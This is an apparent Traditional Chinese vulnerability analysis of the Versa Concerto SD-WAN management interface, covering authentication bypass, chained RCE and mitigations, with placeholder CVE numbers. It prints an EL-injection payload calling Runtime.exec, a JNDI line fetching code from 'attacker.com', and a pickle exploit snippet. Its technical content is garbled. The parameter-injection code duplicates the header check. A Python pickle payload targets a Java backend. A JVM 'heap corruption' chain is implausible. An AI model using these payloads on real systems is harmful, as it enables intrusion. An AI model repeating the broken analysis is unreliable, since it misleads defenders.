簡介
本文深入剖析Versa Concerto管理介面的認證繞過（CVE-2023-XXXX）與遠端程式碼執行（RCE，CVE-2023-YYYY）漏洞，揭示session驗證缺陷、不安全反序列化及JNDI注入等技術細節。透過逆向工程與協議分析，展示攻擊者如何利用標頭操控(Header Manipulation)、參數注入(Parameter Injection)及可預測session ID(Session Prediction)危害系統。文章涵蓋漏洞影響、記憶體損壞詳情及SD-WAN架構弱點，並提供實戰修補策略，包括HMAC簽章、輸入清理及微服務隔離，助企業保護網路安全，防範未授權存取與系統危害。
1. 漏洞分解
1.1 認證繞過機制
認證繞過漏洞（CVE-2023-XXXX）源自於
/api/auth
端點的 session 驗證不當。透過對 Java WAR 檔案的逆向工程，研究人員發現
SessionValidator
類別中的邏輯缺陷：
- // pseudocode 重建
- public boolean validateSession(HttpServletRequest request) {
- String sessionId = request.getHeader("X-Concerto-Session");
- if(sessionId == null) return false;
- return sessionCache.containsKey(sessionId); // 無加密驗證
- }
此實作允許攻擊者透過三種方式繞過認證：
A. 標頭操控
：如原始文章[1]所述，注入符合 UUID 格式的客製化
X-Concerto-Session
標頭可獲得未經授權的存取。系統僅執行格式驗證（符合 RFC 4122）而無加密簽章檢查。
B. 參數注入
：
SessionInterceptor
類別不當地優先處理參數而非標頭：
- // pseudocode 重建
- public boolean validateSession(HttpServletRequest request) {
- String sessionId = request.getHeader("X-Concerto-Session");
- if(sessionId == null) return false;
- return sessionCache.containsKey(sessionId); // 無加密驗證
- }
允許透過 URL 參數進行 session 劫持。
C. Session 預測
： session ID 生成使用 Java 的
UUID.randomUUID()
，未補充熵值(entropy supplementation)，在受限環境中理論上可預測序列。
協定分析
HTTP 認證流程揭示三個關鍵弱點：
- POST /api/auth HTTP/1.1
- Host: target
- X-Concerto-Session: 00000000-0000-0000-0000-000000000000 // 易受攻擊的標頭
- Cookie: JSESSIONID=... // 後端忽略
封包捕獲分析顯示：
- 儘管有 TLS，session tokens 以明文傳輸
- 伺服器對格式錯誤的 UUID（例如全零）回應 200 OK
- 無 HMAC 驗證 session tokens
1.2 遠端程式碼執行原語
RCE 漏洞（CVE-2023-YYYY）源自可串連的缺陷：
步驟 1：不安全的反序列化
設定更新端點
/api/config/import
接受未經適當驗證的序列化物件：
- # Exploit code snippet
- payload = {
- 'config': base64.b64encode(pickle.dumps(evil_object)),
- 'signature': forged_signature
- }
- requests.post(url, data=payload) // 後端忽略
步驟 2：表達式語言注入(Expression Language Injection)
TemplateProcessor
類別允許未驗證的 EL 表達式：
- public String processTemplate(String template) {
- ELProcessor elp = new ELProcessor();
- return elp.eval(template); // 無沙箱保護
- }
允許攻擊如
${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke('', 'calc.exe')}
步驟 3：JNDI 注入
有漏洞的 Log4j 元件（CVE-2021-44228）結合，產生次要攻擊向量：
${jndi:ldap://attacker.com/Exploit}記憶體損壞詳情
反序列化漏洞 透過以下方式影響 heap：
Memory Layout During Exploitation: +---------------------+ | Serialized Object | 0x00000000 +---------------------+ | JVM Class Metadata | 0x00001000 // 已損壞 +---------------------+ | Runtime Exec Payload| 0x00002000 +---------------------+
關鍵攻擊步驟：
- 透過超大設定物件觸發 OutOfMemoryError
- 覆寫相鄰記憶體中的 classLoader 參考
- 從攻擊者控制的 LDAP 伺服器載入惡意類別
1.3 架構弱點
系統架構揭示關鍵缺陷：
1. 單體設計 ：認證與服務層之間的緊密耦合導致水平權限提升
2. 不安全的預設值
：
- 啟用 TLS 1.0
-
security.properties
中的 hardcoded 加密金鑰
- 停用 HSTS 標頭
3. 元件隔離失敗 ： - 資料庫連接器以 root 權限執行 - 網頁伺服器與業務邏輯容器共享資源
元件圖
易受攻擊的架構遵循以下模式：
[Client] → [Reverse Proxy] →
[Auth Service] → [Session DB] ←[無 TLS]
↓
[Orchestrator] → [Root DB Access]
關鍵發現：
| 元件 | 漏洞 |
|---|---|
| Session DB | session 記錄無加密 |
| Orchestrator | 預設以 root 執行 |
| Auth Service | session 驗證無速率限制 |
2. 影響評估
識別的漏洞對受影響系統構成嚴重風險：
- 未經認證存取 ：完全控制網路編排系統的管理權限
- 系統危害 ：以 root/管理員層級執行任意命令
- 橫向移動 ：透過 SD-WAN 基礎設施轉向連線網路
- 持久性 ：透過設定更新安裝後門
3. 緩解策略
有效對策包括：
-
Session 驗證
：
- 實作 HMAC 簽章的 session tokens
- 強制嚴格 UUID 驗證
- 新增第二認證因素
-
輸入清理
：
- 使用白名單進行型別安全的反序列化
- 表達式語言沙箱化
- 嚴格的內容型別驗證
-
架構改進
：
- 微服務隔離
- 最小權限原則的強制執行
- 管理介面的網路分段